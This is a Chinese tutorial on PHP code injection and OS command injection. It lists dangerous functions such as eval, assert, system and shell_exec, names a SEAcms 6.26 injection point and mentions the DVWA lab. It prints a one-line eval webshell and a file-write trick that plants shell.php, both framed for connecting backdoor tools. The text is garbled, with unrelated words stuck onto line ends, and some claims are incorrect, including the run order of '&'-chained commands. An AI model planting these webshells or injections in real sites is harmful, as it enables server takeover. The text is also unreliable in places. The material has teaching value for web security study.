Web滲透07_腳本代碼注入和OS命令注入( 恐怖級別 )

1 PHP代碼注入

1.1 原理成因

網站對用戶的輸入過濾出現問題,同時網站的腳本編寫用到一些危險函數 eval(),assert()。若是被攻擊者發現漏洞,直接可能形成攻擊者徹底控制整個web甚至是服務器。至關於web後門的存在。php

若是服務器沒有正確的配置,web用戶的權限相對較高,那就不可描述天馬行空了。linux

1.2 相關函數

1.2.1 eval()

eval()會將字符串看成 php 代碼執行。web

<?php @eval($_POST['shell']);?>正則表達式

用post方法接收變量shell,把變量shell裏面的字符串當作php代碼來執行。** 變量shell也稱爲密碼,經常使用蟻劍菜刀等工具進行後門鏈接。**shell

因此,只要咱們能經過post 方法,以 shell爲變量名,值爲執行代碼就能夠直接經過post 來操做對方的網站,菜刀也是經過這樣的方法,不過他傳入的代碼比較複雜。windows

shell=phpinfo(); shell=${phpinfo();}數組

1.2.2 assert()

eval()一致。服務器

1.2.3 preg_replace()

preg_replace 函數執行一個正則表達式的搜索和替換。session

preg_replace 函數執行一個正則表達式的搜索和替換。函數

語法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
參數說明:

  • $pattern: 要搜索的模式,能夠是字符串或一個字符串數組。

  • $replacement: 用於替換的字符串或字符串數組。

  • $subject: 要搜索替換的目標字符串或字符串數組。

  • $limit: 可選,對於每一個模式用於每一個 subject 字符串的最大可替換次數。 默認是-1(無限制)。

  • $count: 可選,爲替換執行的次數。

preg_replace("\/[(.*)\]/e", '\\1', $code); 這裏的$code會被執行

1.2.4 call_user_func()

call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

第一個參數是用戶的函數,從第二個起就是這個函數的參數。

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

1.2.5 $a($b) 可變函數 動態函數

$a做爲一個變量存儲可變的函數名稱。傳來的信息便可成爲執行函數。

<?php
$a = 'eval' ;
$a( "phpinfo();") ; == eval("phpinfo();")
?>

1.3 漏洞利用

  • 直接獲取shell: <?php @eval($_POST['shell']);?>

  • 獲取當前文件路徑: __FILE__返回當前文件的絕對路徑 print(__FILE__)

  • 讀文件: file_get_contents()讀取已知路徑且具備讀寫權限的文件。
    C:\windows\system32\drivers\etc\hosts # Windows的 host文件地址

  • 寫文件: file_put_contents()寫已知路徑且具備讀寫權限的文件
    先提交這段代碼file_put_contents($_POST[1],$_POST[2]),再傳入參數1=shell.php&2=<?php phpinfo();?>
    建立shell.php 而且寫入了一句話。

除了獲取shell其餘都不是那麼重要,工具裏都已經寫好了,直接經過工具一連,什麼都有了。

1.4 防護方法

儘可能不要用eval等函數。嚴格的用戶過濾。經過配置文件disable_functions禁止某些函數的使用。

1.5 漏洞實例 SEAcms 6.26

存在 php代碼注入漏洞

漏洞點:?searchtype=5&tid=&area=phpinfo()

2 OS命令注入 Command Injection

腳本語言開發網站功能十分迅速,可是,若是咱們須要用到一些其餘語言編寫的程序呢,把結果返回給用戶。那就會用系統的一些命令去執行其餘語言編寫的程序。只要涉及到了這些,那麼極可能就會存在用戶輸入沒有過濾而致使命令執行漏洞

2.1 漏洞危害

幾乎你的命令窗口能幹什麼,這個漏洞就能幹什麼....

2.2 相關函數

2.2.1 system()

system($str)能夠將字符串做爲系統命令執行,並有結果顯示。

2.2.2 exec()

exec($str) 函數能將字符串做爲 OS命令執行,須要輸出結果。

print exec($str);

2.2.3 shell_exec()

shell_exec($str) 函數能將字符串做爲 OS命令執行,須要輸出結果。

print shell_exec($str);

2.2.4 passthru()

passthru($str) 函數能將字符串做爲 OS命令執行,不須要輸出結果。

2.2.5 popen()

popen($str)函數能將字符串做爲 OS命令執行,沒有結果顯示,而是返回一個文件指針,咱們能夠將結果寫入一個文件中,再查看便可。

popen("ipconfig >> 1.txt");

2.2.6 `` 反引號

反引號函數能將字符串做爲 OS命令執行。

2.2.3 漏洞利用

基本就是一些 系統命令的利用。這裏再也不詳述。

windows linux mac 各類系統命令。

DVWA

一個本地滲透測試的平臺。包含

  • CSRF
  • Command Injection
  • Insecure CAPTO
  • WEEK session ID
  • File inclusion
  • File Upload
  • SQL injection
  • XSS
  • JavaScript

漏洞的測試。

知識點:

windows 或 linux 下: command1 && command2 先執行 command1,若是爲真,再執行 command2 command1 | command2 只執行 command2 command1 & command2 先執行 command2 後執行 command1 command1 || command2 先執行 command1,若是爲假,再執行 command2 命令執行漏洞(| || & && 稱爲 管道符

相關文章
相關標籤/搜索